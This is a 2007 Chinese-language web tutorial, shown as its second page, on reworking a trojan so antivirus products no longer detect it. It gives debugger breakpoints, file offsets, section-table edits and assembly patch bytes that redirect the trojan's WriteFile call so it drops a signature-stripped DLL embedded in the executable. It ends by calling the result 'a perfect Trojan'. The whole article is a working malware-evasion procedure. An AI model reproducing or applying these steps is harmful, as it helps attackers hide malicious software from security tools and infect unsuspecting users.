M**2 Trojan的完全修改——脱壳+特征码修改+PEDIY

来源: 作者: 2007-10-12 出处:pcdog.com

.net  office  xml  杀毒软件  注册表  
上一页 1 2 

六、PEDIY

这是关键的一步,因为每次运行aaa.exe,程序都从自身的数据里提取并生成aaa.dll,而不会使用我们修改过的dll,因此必须在aaa.exe内部将我们修改的dll进去,并让aaa.exe运行时,生成的是我们修改过的没有特征码的dll文件。

aaa.exe复制到windir/system32目录下,用Ollydbg载入并运行,设置断点bp CreateFileA。当文件名参数显示为“windir/system32/aaa.dll”时,手动跟踪,找出位置如下:

004063BA     50        push eax

004063BB     E8 6CE0FF>call <jmp.&KERNEL32.CreateFileA>

004063C0     8BD8      mov ebx,eax

004063C2     6A 00     push 0

004063C4     8D45 E0   lea eax,dword ptr ss:[ebp-20]

004063C7     50        push eax

004063C8     8B45 F8   mov eax,dword ptr ss:[ebp-8];这里开始修改

004063CB     50        push eax

004063CC     8B45 FC   mov eax,dword ptr ss:[ebp-4]

004063CF     50        push eax

004063D0     53        push ebx

004063D1     E8 4EE1FF>call <jmp.&KERNEL32.WriteFile>

004063D6     53        push ebx

004063D7     E8 38E0FF>call <jmp.&KERNEL32.CloseHandle>

 

记下WriteFile时,写入的字节数大小,因为这是原dll数据在文件中的大小。关闭Ollydbg,用UltraEdit打开aaa.exe,搜索“MZ”,找到原dll文件的起始位置后填充为0,大小不要超过刚才记录的字节数。

再用UltraEdit打开aaa.dll(已脱壳的),将dll中的全部数据复制到exe文件偏移处00014798h处(自校验数据之前),保存并关闭。用PEInfoby:破解勇)修改exe文件的最后一节节表的数据,RawSize大小加上1BBD2(这是dll的字节数),VirtualSize修改为新的RawSize1000h对齐即可,ImageSize会自动修改。这样,我们已经把特征码修改过的dll放进了exe文件中,下面修改文件指令(刚才的WriteFile处,主要是lpBuffernBytesToWrite要修改),使它在运行时正常生成aaa.dll文件。修改方法如下:

004063C8    /E9 D42E00>jmp aaa.004092A1

004063CD    |90        nop

004063CE    |90        nop

004063CF    |90        nop

004063D0    |90        nop

004063D1    |E8 4EE1FF>call <jmp.&KERNEL32.WriteFile>

004063D6    |53        push ebx

 

空隙处(004092A1)的代码如下:

 

004092A1     B8 D2AB01>mov eax,1BBD2

004092A6     50        push eax

004092A7     B8 A06F41>mov eax,aaa.00416F98           ; ASCII "MZP"

004092AC     50        push eax

004092AD     53        push ebx

004092AE   ^ E9 24D1FF>jmp aaa.004063D1

 

其中00416F98指向了文件中的新的dll数据的起始地址。保存修改后,运行程序。正常执行。

 

七、主程序特征码修改

这样,排除了aaa.exedll文件的特征码干扰(因为原来含特征码的dll已经被覆盖,新的内嵌dll已经没有特征码了),剩下对aaa.exe文件本身进行特征码定位和修改。过程略。修改完毕后,OK。已经成了一个完美的Trojan

 



上一页 1 2 
上一篇:PGP的安全性
下一篇:产品激活技术问答